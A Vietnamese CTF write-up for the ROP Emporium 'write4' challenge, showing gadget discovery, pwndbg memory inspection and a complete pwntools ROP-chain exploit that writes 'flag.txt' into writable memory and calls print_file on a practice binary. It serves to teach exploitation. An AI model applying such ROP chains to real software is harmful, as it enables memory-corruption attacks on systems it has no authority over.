write4 - challenge 4

binary file and my exploit code

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/chall4_write4$ file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped

Ok, thì với bài này đơn giản ta có hàm printfile(), tuy nhiên chuỗi flag.txt lại không có trong binary => ta phải tự ghi vào

Để dễ hình dung thì như này, ta phải ghi được chuỗi flag.txt vào 1 cái địa chỉ nào đấy. Sao cho khi gọi printfile() thì rdi, tức là thanh ghi chứa tham số thứ nhất lúc này phải chứa địa chỉ của chuỗi flag.txt

Do đó điều ta cần làm bây giờ là phải tìm các gadget thỏa mãn phù hợp cho yêu cầu này:

0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400693 : pop rdi ; ret
0x00000000004004e6 : ret

Có lẽ tất cả đã đầy đủ.

lệnh mov ở trên sẽ mov giá trị tại thanh ghi r15 vào địa chỉ mà thanh ghi r14 trỏ đến. Tức là r14 = 0xabc, r15 = 0xFF, thì tại địa chỉ 0xabc này sẽ lưu giá trị 0xFF

Thì đầu tiên ta sẽ pop r14 chứa địa chỉ ta chỉ định để lưu chuỗi "flag.txt"pop r15 chứa chuỗi "flag.txt". Sau đó thì dùng lệnh mov để ghi chuỗi vào địa chỉ chỉ định

Tiếp đến thì pop rdi như ta đã từng làm với các chall trước.

À mà ta cần tìm địa chỉ hàm print_file(), và xác định địa chỉ ghi chuỗi:

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004004d0  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r-xp     1000      0 /mnt/d/pwn_myself/ROP/chall4_write4/write4
          0x600000           0x601000 r--p     1000      0 /mnt/d/pwn_myself/ROP/chall4_write4/write4
          0x601000           0x602000 rw-p     1000   1000 /mnt/d/pwn_myself/ROP/chall4_write4/write4
    0x7ffff79d8000     0x7ffff7a00000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7a00000     0x7ffff7b95000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7b95000     0x7ffff7bed000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7bed000     0x7ffff7bf1000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7bf1000     0x7ffff7bf3000 rw-p     2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7bf3000     0x7ffff7c00000 rw-p     d000      0 [anon_7ffff7bf3]
    0x7ffff7c00000     0x7ffff7c01000 r-xp     1000      0 /mnt/d/pwn_myself/ROP/chall4_write4/libwrite4.so
    0x7ffff7c01000     0x7ffff7e00000 ---p   1ff000   1000 /mnt/d/pwn_myself/ROP/chall4_write4/libwrite4.so
    0x7ffff7e00000     0x7ffff7e01000 r--p     1000      0 /mnt/d/pwn_myself/ROP/chall4_write4/libwrite4.so
    0x7ffff7e01000     0x7ffff7e02000 rw-p     1000   1000 /mnt/d/pwn_myself/ROP/chall4_write4/libwrite4.so
    0x7ffff7fb3000     0x7ffff7fb6000 rw-p     3000      0 [anon_7ffff7fb3]
    0x7ffff7fbc000     0x7ffff7fbe000 rw-p     2000      0 [anon_7ffff7fbc]
    0x7ffff7fbe000     0x7ffff7fc2000 r--p     4000      0 [vvar]
    0x7ffff7fc2000     0x7ffff7fc3000 r-xp     1000      0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]

pwndbg> x/100s 0x601000
0x601000:       ""
0x601001:       "\016`"
0x601004:       ""
0x601005:       ""
0x601006:       ""
0x601007:       ""
0x601008:       "\340\342\377\367\377\177"
0x60100f:       ""
0x601010:       "0\215\375\367\377\177"
0x601017:       ""
0x601018 <pwnme@got.plt>:       "\006\005@"
0x60101c <pwnme@got.plt+4>:     ""
0x60101d <pwnme@got.plt+5>:     ""
0x60101e <pwnme@got.plt+6>:     ""
0x60101f <pwnme@got.plt+7>:     ""
0x601020 <print_file@got.plt>:  "\026\005@"
0x601024 <print_file@got.plt+4>:        ""
0x601025 <print_file@got.plt+5>:        ""
0x601026 <print_file@got.plt+6>:        ""
0x601027 <print_file@got.plt+7>:        ""
0x601028:       ""
0x601029:       ""
0x60102a:       ""
0x60102b:       ""
0x60102c:       ""
0x60102d:       ""
0x60102e:       ""
0x60102f:       ""
0x601030:       ""
0x601031:       ""
0x601032:       ""
0x601033:       ""
0x601034:       ""
0x601035:       ""
0x601036:       ""
0x601037:       ""
0x601038 <completed.7698>:      ""
0x601039:       ""
0x60103a:       ""
0x60103b:       ""
0x60103c:       ""
0x60103d:       ""
0x60103e:       ""
0x60103f:       ""
0x601040:       ""
0x601041:       ""
0x601042:       ""
0x601043:       ""
0x601044:       ""
0x601045:       ""
0x601046:       ""
0x601047:       ""
0x601048:       ""

Để tránh việc ghi đè lên giá trị đã có sẵn 1 cách không mong muốn nên ta sẽ chọn địa chỉ 0x601040

Exploit

from pwn import *

r = process("./write4")
#gdb.attach(r, api= True)

print_file = 0x0000000000400510
pop_rdi_ret = 0x0000000000400693
ret = 0x00000000004004e6
pop_r14_r15 = 0x0000000000400690
mov_r14add_r15 = 0x0000000000400628

r14_address_store_flag = 0x601040
r15_flag = b'flag.txt'


payload = b'A'*40 + p64(ret)
#r14 => address, r15 => flag
payload += p64(pop_r14_r15) + p64(r14_address_store_flag) + r15_flag
# r14 -> address -> r15 (flag)
payload += p64(mov_r14add_r15) 
# rdi = r14 = address string flag.txt
payload += p64(pop_rdi_ret)
payload += p64(r14_address_store_flag)

payload += p64(print_file)

r.sendline(payload)
r.interactive()